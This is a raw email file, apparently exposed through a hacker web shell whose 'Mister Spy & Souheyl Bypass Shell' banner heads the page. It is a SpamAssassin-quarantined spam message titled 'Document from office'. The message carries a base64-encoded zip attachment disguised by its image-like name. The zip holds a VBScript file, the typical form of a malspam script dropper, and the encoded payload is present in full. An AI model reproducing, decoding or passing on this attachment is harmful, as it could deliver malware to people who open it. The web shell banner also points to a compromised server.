Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

From louella.423@ift-informatik.de  Tue Nov 22 23:56:55 2016
Return-Path: <louella.423@ift-informatik.de>
X-Original-To: tjungblut@ift-informatik.de
Delivered-To: tjungblut@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
	id 28B80375227EE; Tue, 22 Nov 2016 23:56:55 +0100 (CET)
Received: from localhost by h2486555.stratoserver.net
	with SpamAssassin (version 3.4.0);
	Tue, 22 Nov 2016 23:56:54 +0100
From: LOUELLA <louella.423@ift-informatik.de>
To: info@kassarconstruction.com
Subject: *****SPAM***** Document from office
Date: Tue, 22 Nov 2016 17:56:52 -0500
Message-Id: <78D58955B4CFB00AF5EA664075192FBB@ift-informatik.de>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: ******
X-Spam-Status: Yes, score=6.2 required=5.0 tests=BAYES_05,HTML_MESSAGE,
	RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_BRBL_LASTEXT,RCVD_IN_PSBL,RCVD_IN_XBL,
	RDNS_NONE autolearn=no autolearn_force=no version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_5834CD36.66E9E7AC"

This is a multi-part message in MIME format.

------------=_5834CD36.66E9E7AC
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam.  The original
message has been attached to this so you can view it or label
similar future email.  If you have any questions, see
@@CONTACT_ADDRESS@@ for details.

Content preview:  [...] 

Content analysis details:   (6.2 points, 5.0 required)

 pts rule name              description
---- ---------------------- --------------------------------------------------
-0.5 BAYES_05               BODY: Bayes spam probability is 1 to 5%
                            [score: 0.0231]
 0.0 HTML_MESSAGE           BODY: HTML included in message
 1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
               [Blocked - see <http://www.spamcop.net/bl.shtml?190.65.119.30>]
 2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                            [190.65.119.30 listed in psbl.surriel.com]
 0.4 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
                            [190.65.119.30 listed in zen.spamhaus.org]
 1.4 RCVD_IN_BRBL_LASTEXT   RBL: No description available.
                            [190.65.119.30 listed in bb.barracudacentral.org]
 0.8 RDNS_NONE              Delivered to internal network by a host with no rDNS

The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam.  If you wish to view
it, it may be safer to save it to a file and open it with an editor.


------------=_5834CD36.66E9E7AC
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit

Received: from [190.65.119.30] (unknown [190.65.119.30])
	by ift-informatik.de (Postfix) with ESMTP id 22678375227ED
	for <tobias.jungblut@ift-informatik.de>; Tue, 22 Nov 2016 23:56:52 +0100 (CET)
MIME-Version: 1.0
From: LOUELLA <louella.423@ift-informatik.de>
Date: Tue, 22 Nov 2016 17:56:52 -0500
Message-ID: <78D58955B4CFB00AF5EA664075192FBB@ift-informatik.de>
Subject: Document from office
To: info@kassarconstruction.com
Content-Type: multipart/mixed; boundary=a89771de72d01cd607053d8c3717

--a89771de72d01cd607053d8c3717
Content-Type: multipart/alternative; boundary=a89771de72d01cd602053d8c3715

--a89771de72d01cd602053d8c3715
Content-Type: text/plain; charset=UTF-8



--a89771de72d01cd602053d8c3715
Content-Type: text/html; charset=UTF-8



--a89771de72d01cd602053d8c3715--
--a89771de72d01cd607053d8c3717
Content-Type: application/zip; name="IMG-16959493-WA0173.zip"
Content-Disposition: attachment; filename="IMG-16959493-WA0173.zip"
Content-Transfer-Encoding: base64
X-Attachment-Id: 9030757715852148638-local0

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

--a89771de72d01cd607053d8c3717--

------------=_5834CD36.66E9E7AC--